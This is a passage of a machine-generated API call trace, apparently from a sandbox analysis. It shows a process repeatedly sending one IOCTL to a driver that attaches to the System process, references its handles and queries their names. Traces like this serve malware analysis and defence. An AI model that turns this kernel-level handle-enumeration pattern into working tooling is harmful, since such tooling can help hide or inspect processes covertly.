hHeap=0x330000) returned 1 [0135.424] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.424] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.424] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.424] PsAcquireProcessExitSynchronization () returned 0x0 [0135.424] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.424] ObReferenceObjectByHandle (in: Handle=0xffffffff80000bcc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800359a050, HandleInformation=0x0) returned 0x0 [0135.424] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.424] PsReleaseProcessExitSynchronization () returned 0x2 [0135.424] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.424] ObQueryNameString (in: Object=0xfffffa800359a050, ObjectNameInfo=0xfffffa8003425044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003425044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.424] ObfDereferenceObject (Object=0xfffffa800359a050) returned 0x2 [0135.425] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.425] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.425] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.425] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.425] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.425] PsAcquireProcessExitSynchronization () returned 0x0 [0135.425] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.425] ObReferenceObjectByHandle (in: Handle=0xffffffff80000bd0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003897f20, HandleInformation=0x0) returned 0x0 [0135.425] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.425] PsReleaseProcessExitSynchronization () returned 0x2 [0135.425] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.425] ObQueryNameString (in: Object=0xfffffa8003897f20, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005473550) returned 0x0 [0135.425] ObfDereferenceObject (Object=0xfffffa8003897f20) returned 0x2 [0135.425] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.425] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.425] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.425] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.425] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.425] PsAcquireProcessExitSynchronization () returned 0x0 [0135.425] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.425] ObReferenceObjectByHandle (in: Handle=0xffffffff80000bd8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80022f96b0, HandleInformation=0x0) returned 0x0 [0135.425] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.425] PsReleaseProcessExitSynchronization () returned 0x2 [0135.425] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.425] ObQueryNameString (in: Object=0xfffffa80022f96b0, ObjectNameInfo=0xfffffa8003a1e044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a1e044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.425] ObfDereferenceObject (Object=0xfffffa80022f96b0) returned 0x2 [0135.425] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.426] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.426] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.426] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.426] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.426] PsAcquireProcessExitSynchronization () returned 0x0 [0135.426] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.426] ObReferenceObjectByHandle (in: Handle=0xffffffff80000be0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002616420, HandleInformation=0x0) returned 0x0 [0135.426] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.426] PsReleaseProcessExitSynchronization () returned 0x2 [0135.426] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.426] ObQueryNameString (in: Object=0xfffffa8002616420, ObjectNameInfo=0xfffffa800204f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800204f044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.426] ObfDereferenceObject (Object=0xfffffa8002616420) returned 0x2 [0135.426] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.426] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.426] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.426] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.426] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.426] PsAcquireProcessExitSynchronization () returned 0x0 [0135.426] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.426] ObReferenceObjectByHandle (in: Handle=0xffffffff80000be8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80019d8130, HandleInformation=0x0) returned 0x0 [0135.426] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.426] PsReleaseProcessExitSynchronization () returned 0x2 [0135.426] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.426] ObQueryNameString (in: Object=0xfffffa80019d8130, ObjectNameInfo=0xfffffa800203e044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800203e044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.426] ObfDereferenceObject (Object=0xfffffa80019d8130) returned 0x2 [0135.426] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.426] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.426] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.426] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.426] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.426] PsAcquireProcessExitSynchronization () returned 0x0 [0135.427] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.427] ObReferenceObjectByHandle (in: Handle=0xffffffff80000bf0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001fa5900, HandleInformation=0x0) returned 0x0 [0135.427] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.427] PsReleaseProcessExitSynchronization () returned 0x2 [0135.427] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.427] ObQueryNameString (in: Object=0xfffffa8001fa5900, ObjectNameInfo=0xfffffa8003a29044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a29044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.427] ObfDereferenceObject (Object=0xfffffa8001fa5900) returned 0x2 [0135.427] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.427] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.427] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.427] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.427] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.427] PsAcquireProcessExitSynchronization () returned 0x0 [0135.427] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.427] ObReferenceObjectByHandle (in: Handle=0xffffffff80000bf4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002142cb0, HandleInformation=0x0) returned 0x0 [0135.427] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.427] PsReleaseProcessExitSynchronization () returned 0x2 [0135.427] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.427] ObQueryNameString (in: Object=0xfffffa8002142cb0, ObjectNameInfo=0xfffffa8003a6f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a6f044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.427] ObfDereferenceObject (Object=0xfffffa8002142cb0) returned 0x2 [0135.427] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.427] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.427] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.427] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.427] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.427] PsAcquireProcessExitSynchronization () returned 0x0 [0135.427] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.427] ObReferenceObjectByHandle (in: Handle=0xffffffff80000bfc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002142a10, HandleInformation=0x0) returned 0x0 [0135.427] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.427] PsReleaseProcessExitSynchronization () returned 0x2 [0135.428] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.428] ObQueryNameString (in: Object=0xfffffa8002142a10, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.428] ObfDereferenceObject (Object=0xfffffa8002142a10) returned 0x2 [0135.428] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.428] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.428] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.428] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.428] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.428] PsAcquireProcessExitSynchronization () returned 0x0 [0135.428] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.428] ObReferenceObjectByHandle (in: Handle=0xffffffff80000c14, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800250a720, HandleInformation=0x0) returned 0x0 [0135.428] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.428] PsReleaseProcessExitSynchronization () returned 0x2 [0135.428] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.428] ObQueryNameString (in: Object=0xfffffa800250a720, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.428] ObfDereferenceObject (Object=0xfffffa800250a720) returned 0x2 [0135.428] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.428] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.428] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.428] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.428] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.428] PsAcquireProcessExitSynchronization () returned 0x0 [0135.428] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.428] ObReferenceObjectByHandle (in: Handle=0xffffffff80000c18, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800213d810, HandleInformation=0x0) returned 0x0 [0135.428] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.428] PsReleaseProcessExitSynchronization () returned 0x2 [0135.428] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.428] ObQueryNameString (in: Object=0xfffffa800213d810, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0135.429] ObfDereferenceObject (Object=0xfffffa800213d810) returned 0x2 [0135.429] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.429] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.429] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.429] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.429] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.429] PsAcquireProcessExitSynchronization () returned 0x0 [0135.429] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.429] ObReferenceObjectByHandle (in: Handle=0xffffffff80000c1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800bbf0f20, HandleInformation=0x0) returned 0x0 [0135.429] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.429] PsReleaseProcessExitSynchronization () returned 0x2 [0135.429] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.429] ObQueryNameString (in: Object=0xfffffa800bbf0f20, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005473550) returned 0x0 [0135.429] ObfDereferenceObject (Object=0xfffffa800bbf0f20) returned 0x2 [0135.429] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.429] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.429] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.429] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.429] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.429] PsAcquireProcessExitSynchronization () returned 0x0 [0135.429] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.430] ObReferenceObjectByHandle (in: Handle=0xffffffff80000c38, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80038863f0, HandleInformation=0x0) returned 0x0 [0135.430] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.430] PsReleaseProcessExitSynchronization () returned 0x2 [0135.430] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.430] ObQueryNameString (in: Object=0xfffffa80038863f0, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005473550) returned 0x0 [0135.430] ObfDereferenceObject (Object=0xfffffa80038863f0) returned 0x2 [0135.430] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.430] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.430] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.430] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.430] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.430] PsAcquireProcessExitSynchronization () returned 0x0 [0135.430] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.430] ObReferenceObjectByHandle (in: Handle=0xffffffff80000c3c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002139980, HandleInformation=0x0) returned 0x0 [0135.430] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.430] PsReleaseProcessExitSynchronization () returned 0x2 [0135.430] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.430] ObQueryNameString (in: Object=0xfffffa8002139980, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.430] ObfDereferenceObject (Object=0xfffffa8002139980) returned 0x2 [0135.430] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.430] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.430] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.430] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.430] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.430] PsAcquireProcessExitSynchronization () returned 0x0 [0135.430] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.430] ObReferenceObjectByHandle (in: Handle=0xffffffff80000c40, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80021396e0, HandleInformation=0x0) returned 0x0 [0135.430] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.430] PsReleaseProcessExitSynchronization () returned 0x2 [0135.430] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.430] ObQueryNameString (in: Object=0xfffffa80021396e0, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.430] ObfDereferenceObject (Object=0xfffffa80021396e0) returned 0x2 [0135.430] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.431] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.431] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.431] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.431] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.431] PsAcquireProcessExitSynchronization () returned 0x0 [0135.431] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.431] ObReferenceObjectByHandle (in: Handle=0xffffffff80000c50, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80018d7db0, HandleInformation=0x0) returned 0x0 [0135.431] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.431] PsReleaseProcessExitSynchronization () returned 0x2 [0135.431] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.431] ObQueryNameString (in: Object=0xfffffa80018d7db0, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.431] ObfDereferenceObject (Object=0xfffffa80018d7db0) returned 0x2 [0135.431] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.431] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.431] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.431] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.431] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.431] 